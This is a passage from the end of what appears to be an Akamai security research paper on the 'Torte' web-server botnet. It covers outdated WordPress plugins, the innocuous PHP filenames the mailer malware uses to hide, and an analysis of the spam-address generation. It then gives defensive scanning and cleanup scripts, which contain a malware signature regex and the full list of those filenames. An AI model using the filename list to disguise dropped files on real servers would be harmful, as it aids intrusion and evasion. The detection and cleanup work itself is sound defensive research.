running in the wild on infected hosts. While the most common version found was the latest, roughly 76% of the overall versions identified were falling behind, some by a few months and others by multiple years.

Another top-occurring plugin is Revslider, with 746 unique infection URLs. Using the same technique, 455 instances were fingerprinted for the currently installed version and17 different versions were identified across the 455 instances.

While it's hard to find many details on this plugin due to its premium status, it seems as though current versions are the in 4.2.x+ range, while the latest versions identified in the wild were 4.1.x or older.

This means that 100% of them are behind the current release and that they're all still vulnerable to ***CVE-2014-9734***, which was responsible for the proliferation of the SoakSoak malware in late 2014 and early 2015.

While there are clearly correlations between Wordpress plugins with a history of CVE issues, a lagging updates process, and real-world infections, it is hard — if not impossible — to prove that these were the means of the initial infection without more details.

13.1 / Blending In On the Filesystem

While many of the older droppers identified via error logs on Google used randomized naming conventions (`gj333.php, 630e3b.php`, etc.), mailer infections are much more standardized. Looking over the URLs passed back from the C2, we could build a list of filenames that were used across the 78k infections. Looking at the results, we see a total of 56 unique filenames, with each getting just under a 2% (1,300-1,400 per) share of the 78k infections.

admin.php	dump.php	ini.php	search.php
ajax.php	error.php	javascript.php	session.php
alias.php	file.php	lib.php	sql.php
article.php	files.php	list.php	start.php
blog.php	footer.php	login.php	stats.php
cache.php	functions.php	menu.php	system.php
code.php	gallery.php	model.php	template.php
config.php	general.php	object.php	test.php
css.php	global.php	option.php	themes.php
db.php	header.php	options.php	title.php
defines.php	help.php	page.php	user.php
diff.php	include.php	plugin.php	utf.php
dir.php	inc.php	press.php	view.php
dirs.php	info.php	proxy.php	xml.php

Figure 26: Filenames used by "mailer" malware layer

These filenames were clearly picked for their ability to blend in and avoid suspicion amongst the file systems where they would be dropped.

13.2 / What's in an email?

Analyzing the various campaigns didn't offer many findings. The only thing that was apparent is that different campaigns employed slightly different character frequency patterns and domains. Below is a quick breakdown of the top 10 used characters in the generated email addresses and the top 10 targeted email domains by campaign. These results were generated against a sample of 10,000 addresses from each campaign that were collected over a 15-minute timespan.

ms005		ms007		ms008	
a	gmail.com	a	gmail.com	r	*gmail.com*
b	hotmail.com	e	hotmail.com	e	*hotmail.com*
e	yahoo.com	r	yahoo.com	u	*yahoo.com*
r	aol.com	s	hotmail.fr	a	*aol.com*
i	live.com	i	qq.com	s	*outlook.com*
o	qq.com	n	live.fr	o	*live.com*
n	msn.com	o	aol.com	n	*dalara.ml*
l	web.de	t	yahoo.fr	i	*msn.com*
s	outlook.com	l	outlook.com	l	*comcast.net*
d	hotmail.co.uk	m	orange.fr	t	*hotmail.co.uk*

Figure 27: Top 10 characters and domains used in generated email addresses

When looking at the tables above, a couple of abstract ideas can be presented. One obvious trend is the targeting of top free email service providers across all campaigns. The second are the outliers, be them geo-based derivatives or lesser known domains. Looking at the top-used characters also points to some interesting observations. When looking at these trends, we took into account character frequencies across some common languages (English, Spanish, French, and German). Using the top 5 and top 10 letters per campaign against a map of letter frequencies per language, we attempted to extrapolate a target language, or at the very least to see how the character sets handled language coverage.

Some interesting observations can be made when comparing the results, the first being that English doesn't appear to be a top target, despite the spam campaigns clearly being English. Second, we get slightly different results when we half the sample size from 10 characters to 5.

The most interesting observation is the top language scoring paired with the outlier domains. In ms005 we see a single instance of a German domain and we also see that German appears to be the top-scoring language based on character frequency. With ms007 we see a similar trend, with 4 French domains being targeted and French also being the top scoring language.

Observations about ms008 aren't so clear and show the frailty of this logic, with French once again being the top-scoring language. The outliers include a Mali-based domain, which is a French speaking country. We also observed a major North American service in the top domains list, where French isn't even in the top three for spoken languages.

ms005		ms007		ms008	
top 5	top 10	top 5	top 10	top 5	top 10
DE:39.38% ES:38.62% FR:37.53% *EN:34.87%*	ES: 71% DE: 67.15% FR: 66.36% *EN: 63.86%*	**FR:44.51%** ES:44.33% DE:43.84% *EN:39.44%*	ES: 72.52% FR: 72.22% *EN: 70.08%* DE: 68.55%	**FR:43.62%** ES:43.6% DE:39.65% *EN:35.58%*	FR: 75.04% ES: 73.99% *EN: 70.4%* DE: 69.83%

Figure 28: Top character frequency scoring

One final observation when looking at these results is the overall coverage per language. In our tests, we used extended alphabets for the top scoring languages — the German dictionary contained 30 characters, the Spanish contained 33, and the French character-set had 40. Each language has a relative frequency percentage for said character within the target language. This means that while our top 10 characters for the English language consumed nearly 40% of the available characters, the characters used scored lower than dictionaries (French) where our top 10 only covered 25% of the available characters. This also highlights that while these addresses are seemingly random, they're clearly designed using a similar concept in order to maximize their likelihood of hitting real address combinations.

To test this theory, a small script was made that would generate 153,000 random alpha characters (the sample email address sets varied between 148k to 158k characters, dependent on length of the randomized email addresses).

```
<?php
$alpha = str_split('abcdefghijklmnopqrstuvwxyz');
for ($i=0; $i<153000; $i++) {
    shuffle($alpha);
    $index = mt_rand(0,count($alpha)-1);
    echo $alpha[$index]."\n";
}
```

Figure 29: Random alpha-generation script

These 10 randomized sets would be parsed for their top 10 most commonly used letters, and those letters would be run through the same exact identification process to see how they scored across the frequency dictionaries. As you can see below, when looking at the worst and best performing results, even the best performing randomized result doesn't get nearly as good language coverage as the algorithm being used by the spammers.

WORST		BEST	
random set 8 (v p h j s b d m k u)		random set 1 (o g i h e m z s a k)	
top 5	top 10	top 5	top 10
EN: 15.17% FR: 14.56% DE: 13.15% ES: 12.84%	FR: 28.48% DE: 27.79% EN: 27.1% ES: 26.74%	DE: 35.19% EN: 35.04% ES: 29.62% FR: 29.36%	EN: 52.95% DE: 52.27% ES: 52.2% FR: 49%

Figure 30: Randomized character-set testing results

13. 3 / Defensive Measures

For organizations concerned about exposure to this threat, we recommend you start by checking web servers for the presence of active infections. The `check_infections.sh` and `kill_spooler.sh shell` scripts provided below can be used to aid in this process.

The `check_infections.sh` script is meant to find dropper, mailer, and lander infections and should be run from the webroot of the web server being tested. It will recurse through all directories, finding all files and testing them. It runs two tests; the first test is to find any signature matches against obfuscated source code and the second test is for filename matches.

In cases where a tested file meets both criteria, a match will be flagged as *HIGH CONF* (high confidence) and is very likely an instance of infection.

The `kill_spooler.sh` script is meant to find spooler binary infections. It will check the systems running processes for the presence of processes tied back to a file named crond32 or crond64. If a process is found it will ask if you'd like to kill said process. If the binary is still located on disk, it will ask if you'd like to prevent future execution and will modify permissions accordingly. It will also ask if you'd like to delete the binary from disk and will delete the file from disk accordingly.

```
#!/usr/bin/env bash

regex='\$GLOBALS\['\''([a-zA-Z0-9]+)'\''\](?\s)=(?\s)\$([a-zA-
Z0-9]+)\[([0-9]+\])\.\$([a-zA-Z0-9]+)\[([0-9]+\])\.\$([a-zA-
Z0-9]+)\[([0-9]+\])\.'
filenames="admin.php ajax.php alias.php article.php blog.php cache.
php code.php config.php css.php db.php defines.php diff.php dir.php
dirs.php dump.php error.php file.php files.php footer.php functions.
php gallery.php general.php global.php header.php help.php include.
php inc.php info.php ini.php javascript.php lib.php list.php log-
in.php menu.php model.php object.php option.php options.php page.
php plugin.php press.php proxy.php search.php session.php sql.php
start.php stats.php system.php template.php test.php themes.php
title.php user.php utf.php view.php xml.php"
files=$(find . -type f)
high_conf_hits=0
sig_hits=0
name_hits=0

echo ""
echo "[ scanning filesystem ]"
echo ""
for filename in $files; do
    hit=$(egrep $regex $filename)
    if [ "$hit" ]; then
        sig_hits=$(($sig_hits+1))
        match="sig match"
        for bad_name in $filenames; do
            name_match=$(echo $filename | grep "$bad_name")
            if [ "$name_match" ]; then
                match="sig & name *HIGH CONF*"
                high_conf_hits=$(($high_conf_hits+1))
            fi
        done;
        echo "[$match] > $filename"
    fi
done
for filename in $filenames; do
    hit=$(find . -name "$filename")
    for suspect in $hit; do
        echo "[name match] > $suspect"
        name_hits=$(($name_hits+1))
    done
done
echo ""
echo "[ $(($sig_hits+$name_hits)) SUSPECTED FILES FOUND ]"
echo "[ $high_conf_hits HIGH CONFIDENCE SUSPECTED FILES FOUND ]"
```

Figure 31: **check_infections.sh** source code

```
[www_root]# ./check_infections.sh

[ scanning filesystem ]

[sig match] > ./lander/lander.php
[sig match] > ./leaked_source/leaked_source.php
[sig match] > ./dropper/dropper.php
[sig & name *HIGH CONF*] > ./dropper/admin.php
[name match] > ./filenames/admin/admin.php
[name match] > ./dropper/admin.php
[name match] > ./filenames/dump.php
[name match] > ./filenames/menu.php
[name match] > ./filenames/sql.php
[name match] > ./filenames/utf.php

[ 10 SUSPECTED FILES FOUND ]
[ 1 HIGH CONFIDENCE SUSPECTED FILES FOUND ]
```

Figure 32: Example output of the tool used on infection

During infection testing, server access logs should also be checked for requests targeting paths that include the suspicious filenames. To prevent further infections, organizations should always make sure their software is up to date — especially any installations of Wordpress and its associated plugins.

```
#!/usr/bin/env bash
shopt -s nocasematch

procs=$(ps aux | egrep '(crond[0-9]+)' | awk '{print $2}')

for pid in $procs; do
    path=$(ls -l /proc/$pid/exe | cut -d'>' -f2 | cut -d' ' -f2)
    if [ "$path" ]; then
        echo "Process $pid is running the suspected file $path:"
        if [ -f $path ]; then
            echo "$path is still present on the filesystem..."
            read -p "Would you like to prevent future execution of this file?
(Y/n):" -e
            if [[ $REPLY != "n" ]]; then
                chmod 000 $path
                echo "[ permissions changed: execution disabled ]"
            fi
            read -p "Would you like to delete $path? (y/N):" -e
            if [[ $REPLY = "y" ]]; then
                rm -f $path
                echo "[ deleted suspected file: $path ]"
            fi
        fi
        read -p "Would you like to kill this process? (y/N):" -e
        if [[ $REPLY = "y" ]]; then
            kill -9 $pid
            echo "[ suspected process $pid was killed ]"
        fi
    fi
done
```

Figure 33: `kill_spooler.sh` bash script to find and kill an active spooler infection

```
[infected]# ./kill_spooler.sh
Process 23351 is running the suspected file /tmp/crond64:
Would you like to kill this process? (y/N):y
[ suspected process 23351 was killed ]
```

Figure 34: Example cleanup run (binary deleted)

```
[infected]# ./kill_spooler.sh
Process 23312 is running the suspected file /tmp/crond64:
/tmp/crond64 is still present on the filesystem...
Would you like to prevent future execution of this file? (Y/n):y
[ permissions changed: execution disabled ]
Would you like to delete /tmp/crond64infection? (y/N):y
[ deleted suspected file: /tmp/crond64 ]
Would you like to kill this process? (y/N):y
[ suspected process 23312 was killed ]
```

Figure 35: Example cleanup run (binary present)

14.0 / Looking Ahead

The botnet described in this paper is not unique, nor is it the last we'll see of its kind. The structures and methods employed have been seen in the past and will surely continue to be seen well into the future.

Attackers will always target low-hanging fruit like CMS and web-based software, and botnets like this will continue to grow in popularity. Decentralized/transient and layered operations like Torte offer several advantages for the operators, primarily making it much harder to attribute actors, clean up infections, and ultimately dismantle or sinkhole botnets.

Torte is another instance of a growing trend that targets the Linux OS via binary infection. These Linux-targeted infections will continue to grow in popularity due to an estimated ⅓ of the public servers on the Internet running some variant of the OS. Attackers will continue targeting servers for a multitude of reasons including attack surface availability, always-on and high-bandwidth connectivity, and ease of lateral movement across networks and properties.

As security and organizational processes improve to mitigate and combat attackers, they'll continue to evolve their tactics. We'll undoubtedly see more elaborate, distributed, and decentralized techniques, like the ones used in Torte, in future botnets due to necessity as well as survival.

About Akamai Security Intelligence Response Team (SIRT) Focuses on mitigating malicious global cyber threats and vulnerabilities, the Akamai Security Intelligence Response Team (SIRT) conducts and shares digital forensics and post-event analysis with the security community to proactively protect against threats and attacks. As part of its mission, the Akamai SIRT maintains close contact with peer organizations around the world and trains Akamai's Professional Services and Customer Care teams to both recognize and counter attacks from a wide range of adversaries. The research performed by the Akamai SIRT is intended to help ensure Akamai's cloud security products are best of breed and can protect against any of the latest threats impacting the industry.

About Akamai® As the global leader in Content Delivery Network (CDN) services, Akamai makes the Internet fast, reliable and secure for its customers. The company's advanced web performance, mobile performance, cloud security and media delivery solutions are revolutionizing how businesses optimize consumer, enterprise and entertainment experiences for any device, anywhere. To learn how Akamai solutions and its team of Internet experts are helping businesses move faster forward, please visit www.akamai.com or blogs.akamai.com, and follow @Akamai on Twitter.

Akamai is headquartered in Cambridge, Massachusetts in the United States with operations in more than 57 offices around the world. Our services and renowned customer care are designed to enable businesses to provide an unparalleled Internet experience for their customers worldwide. Addresses, phone numbers and contact information for all locations are listed on www.akamai.com/locations.